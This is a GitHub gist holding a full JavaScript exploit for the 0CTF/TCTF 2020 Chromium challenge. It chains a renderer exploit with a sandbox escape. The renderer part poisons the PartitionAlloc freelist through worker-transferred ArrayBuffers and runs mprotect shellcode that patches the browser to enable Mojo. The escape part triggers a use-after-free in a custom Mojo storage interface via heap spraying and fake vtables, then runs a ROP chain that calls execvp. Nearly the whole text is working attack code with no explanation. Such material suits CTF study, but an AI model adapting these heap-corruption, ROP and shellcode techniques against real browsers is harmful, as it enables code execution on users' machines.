Skip to content

Instantly share code, notes, and snippets.

@ujin5
Created June 29, 2020 02:20
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save ujin5/5af3172c627b5d6b0eb3aa2e9276c5dd to your computer and use it in GitHub Desktop.
Save ujin5/5af3172c627b5d6b0eb3aa2e9276c5dd to your computer and use it in GitHub Desktop.
0CTF/TCTF 2020 Quals Chromium
<script id="worker1">
worker:{
if (typeof window === 'object') break worker;
self.onmessage = function() {
console.log("onmessage")
}
}
</script>
<script src="../mojo_bindings.js"></script>
<script src="../third_party/blink/public/mojom/tstorage/tstorage.mojom.js"></script>
<script src="../third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<pre id='log'></pre>
<script>
function print(str) {
console.log(str);
var log = document.getElementById('log');
if (log) {
log.innerText += str + '\n';
}
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function dump64(arr){
for(var i = 0; i < arr.length; i++)
if(arr[i])
console.log(i, arr[i].toString(16));
}
function bswap64(x){
var y = 0n;
y += ((x & 0xffn) >> 0n) << 56n;
y += ((x & 0xff00n) >> 8n) << 48n;
y += ((x & 0xff0000n) >> 16n) << 40n;
y += ((x & 0xff000000n) >> 24n) << 32n;
y += ((x & 0xff00000000n) >> 32n) << 24n;
y += ((x & 0xff0000000000n) >> 40n) << 16n;
y += ((x & 0xff000000000000n) >> 48n) << 8n;
y += ((x & 0xff00000000000000n) >> 56n) << 0n;
return y;
}
let stringToBytes = string => Array.prototype.map.call(string + "\x00", v => v.charCodeAt(0));
async function sbx(execve_path){
function getAllocationConstructor() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process", true);
function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {
}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req
);
return this;
}
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await sleep(1000);
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
});
});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation = new Allocation(data.byteLength);
await allocation.malloc(data);
//await sleep(1000);
return allocation;
}
return allocate;
}
async function heapSreay(allocator, data, size){
return Promise.all(Array(size).fill().map(() => allocator(data)));
}
const kInnerDbSize = 0x678;
/*
push rbp
mov rbp,rsp
lea rax,[rdi+0x8]
pop rbp
ret
*/
const kMagicGadgetPtr = 0xa1bd380n;
const kFirstCallVtableOffset = 0x10n;
const ITER = 10;
const kFreeSpace = 0x300;
let successIndex = -1;
let allocator = getAllocationConstructor();
var tstorage_ptr = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tstorage_ptr).handle, "context", true);
var libcAddr = await tstorage_ptr.getLibcAddress();
libcAddr = libcAddr.addr;
var chromeAddr = await tstorage_ptr.getTextAddress();
chromeAddr = chromeAddr.addr - 0x39b5e60;
print("libc.so.6 : 0x" + libcAddr.toString(16));
print("chrome : 0x" + chromeAddr.toString(16));
async function leakObj(freeSpace){
var tstoragePtrs = [];
var tintancePtrs = [];
for(var i = 0 ; i < ITER; i ++){
tstoragePtrs[i] = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tstoragePtrs[i]).handle, "context", true);
await tstoragePtrs[i].init();
tintancePtrs[i] = (await tstoragePtrs[i].createInstance()).instance;
}
let fakeObject = new ArrayBuffer(kInnerDbSize);
let pfakeObject = new DataView(fakeObject);
var offset = 0;
pfakeObject.setBigUint64(offset, BigInt(chromeAddr) + kMagicGadgetPtr - BigInt(kFirstCallVtableOffset), true);
offset += 8;
pfakeObject.setBigUint64(offset, 0x133813381338n, true);
for(var i = 0; i < freeSpace.length; i++)
pfakeObject.setUint8(i + kFreeSpace, freeSpace[i]);
heap = [];
for(var i = 0 ; i < ITER; i ++){
tstoragePtrs[i].ptr.reset();
heap[i] = await heapSreay(allocator, fakeObject, 0x10);
}
for(var i = 0 ; i < ITER; i ++){
var r = (await tintancePtrs[i].get(0)).value;
console.log(r.toString(16));
if( r == 0x133813381338){
successIndex = i;
console.log("success index : " + successIndex);
break;
}
}
var objPtr = (await tintancePtrs[successIndex].getTotalSize()).size;
return [objPtr - 0x8, tintancePtrs[successIndex]];
}
async function pwn(objPtr){
var tstoragePtrs = [];
var tintancePtrs = [];
for(var i = 0 ; i < ITER; i ++){
tstoragePtrs[i] = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tstoragePtrs[i]).handle, "context", true);
await tstoragePtrs[i].init();
tintancePtrs[i] = (await tstoragePtrs[i].createInstance()).instance;
}
let fakeObject = new ArrayBuffer(kInnerDbSize);
let pfakeObject = new DataView(fakeObject);
var offset = 0;
pfakeObject.setBigUint64(offset, BigInt(objPtr) - BigInt(kFirstCallVtableOffset), true);
offset += 8;
pfakeObject.setBigUint64(offset, 0x133813381338n, true);
heap = [];
for(var i = 0 ; i < ITER; i ++){
tstoragePtrs[i].ptr.reset();
heap[i] = await heapSreay(allocator, fakeObject, 0x40);
}
for(var i = 0 ; i < ITER; i ++){
var r = (await tintancePtrs[i].get(0)).value;
console.log(r.toString(16));
if( r == 0x133813381338){
successIndex = i;
console.log("success index : " + successIndex);
break;
}
}
var objPtr = (await tintancePtrs[successIndex].getTotalSize());
}
var [objPtr, tintancePtr] = await leakObj(stringToBytes(execve_path));
print("objPtr : 0x" + objPtr.toString(16));
var rop = [
chromeAddr + 0x0000000002d45161, // pop rbp ; pop r12 ; ret
0xdeadbeef,
chromeAddr + 0x0000000007fde8a4, // xchg rax, rsp ; ret
chromeAddr + 0x0000000002e9ee1d, // pop rdi ; ret
objPtr + kFreeSpace, // program name
chromeAddr + 0x0000000002f49c6e, // pop rsi ; ret
objPtr + 0x58 + 0x10,
chromeAddr + 0x000000000a1b8890, // execvp
0xdeadbeef,
0x0,
0x0,
objPtr + kFreeSpace, // argv[0]
0x0,
];
for(var i = 0; i < rop.length; i++)
await tintancePtr.set(i, rop[i]);
pwn(objPtr+0x18);
}
function rce(){
/*
mov rdi, r14
sub rdi, 0xaa23160
mov byte ptr [rdi+0xa8f8848], 0
mov esi, 0xa87d000
mov edx, 7
mov eax, SYS_mprotect
syscall
mov dword ptr [rdi+0x00000000046F83A7], 0x90909090
mov byte ptr [rdi+0x00000000046F83A7+4], 0x90
mov dword ptr [rdi+0x00000000046F83D6], 0x07e9
mov byte ptr [rdi+0x00000000046F83D6+4], 0x00
mov byte ptr [rdi+0x00000000046F8FE0], 0xc3
mov byte ptr [rdi+0x472a070], 0xc3
mov byte ptr [rdi+0x000000000AA57325], 1
a:
jmp a
mov eax, SYS_exit
syscall
*/
var payload = [76, 137, 247, 72, 129, 239, 96, 49, 162, 10, 198, 135, 72, 136, 143, 10, 0, 190, 0, 208, 135, 10, 186, 7, 0, 0, 0,
184, 10, 0, 0, 0, 15, 5, 199, 135, 167, 131, 111, 4, 144, 144, 144, 144, 198, 135, 171, 131, 111, 4, 144, 199, 135,
214, 131, 111, 4, 233, 7, 0, 0, 198, 135, 218, 131, 111, 4, 0, 198, 135, 224, 143, 111, 4, 195, 198, 135, 112, 160,
114, 4, 195, 198, 135, 37, 115, 165, 10, 1, 235, 254, 184, 60, 0, 0, 0, 15, 5];
while(payload.length % 8) payload.push(0)
var shellcode_u8 = new Uint8Array(payload);
var shellcode = new BigInt64Array(shellcode_u8.buffer)
const kSuperPageBaseMask = 0xffffffffffe00000n;
const kSuperPageOffsetMask = 0x1fffffn;
const kPartitionPageShift = 14n;
const kPageMetadataShift = 5n;
function toPagePtr(x){
var y = 0n;
var super_page_ptr = x & kSuperPageBaseMask;
var partition_page_index = (x & kSuperPageOffsetMask) >> kPartitionPageShift;
y = (super_page_ptr + 4096n) + (partition_page_index << kPageMetadataShift);
return y;
}
function gc()
{
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
var blob = new Blob([
document.querySelector('#worker1').textContent
], { type: "text/javascript" })
var w = new Worker(window.URL.createObjectURL(blob));
const kSize = 0x100;
let fiexd = new BigInt64Array(kSize/8);
let leak = new ArrayBuffer(kSize);
let victim = new ArrayBuffer(kSize);
let a = new BigInt64Array(leak);
let b = new BigInt64Array(victim);
w.postMessage({}, [leak]);
w.postMessage({}, [victim]);
setTimeout(()=>{
w.terminate();
delete w
gc();
fiexd.set(a, 0);
next_ptr = bswap64(fiexd[0]);
console.log("0x" + next_ptr.toString(16));
page_ptr = toPagePtr(next_ptr);
console.log("0x" + page_ptr.toString(16));
fiexd[0]=bswap64(page_ptr+0x20n);
b.set(fiexd, 0);
var f1 = new BigInt64Array(0x100/8);
var f2 = new BigInt64Array(0x100/8);
var f3 = new BigInt64Array(0x100/8);
let _arr;
for(var i = 0; i < 50; i++) {
const arr = (new BigInt64Array(0x100/8));
arr.fill(0x61616161n+BigInt(i));
if(i === 0) {
_arr = arr;
}
if(i === 1) {
arr.set(shellcode, 0)
}
}
var chromeAddr = f2[2]-6472n-0x000000000AA23160n;
console.log("chrome : 0x" + chromeAddr.toString(16));
const rop = [
0xfbe9n,
// pop rax ; ret
chromeAddr+0x0000000002f48fe6n,
chromeAddr+0x000000000A8F8948n,
// xchg r12, rbp ; dec dword ptr [rax - 0x77] ; ret
chromeAddr+0x0000000004e53f91n,
// mov rbx, rdi ; ret
chromeAddr+0x0000000005fcd9cdn,
// pop rcx ; ret
chromeAddr+0x0000000002e0ebc0n,
0xfffffffffff000n,
chromeAddr+0x0000000008d2aa97n,
0n,
chromeAddr+0x0000000002f49c6en,
0x1000n,
chromeAddr+0x0000000002ea5d72n,
7n,
chromeAddr+0xa1b6440n,
// jmp rbx
chromeAddr+0x0000000002dbbbebn
]
_arr.set(rop, 0)
_arr = null;
self.f2=f2;
f2[0]=chromeAddr+0x000000000A8F8848n;
for(var i = 0; i < 500; i++) {
const arr = (new BigInt64Array(0x100/8))
arr[0] = 1n
arr[2] = chromeAddr+0x000000000977e095n;
}
gc();
location.reload();
}, 2000);
}
if (typeof(Mojo) !== "undefined") {
sbx("./flag_printer");
} else {
rce();
}
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment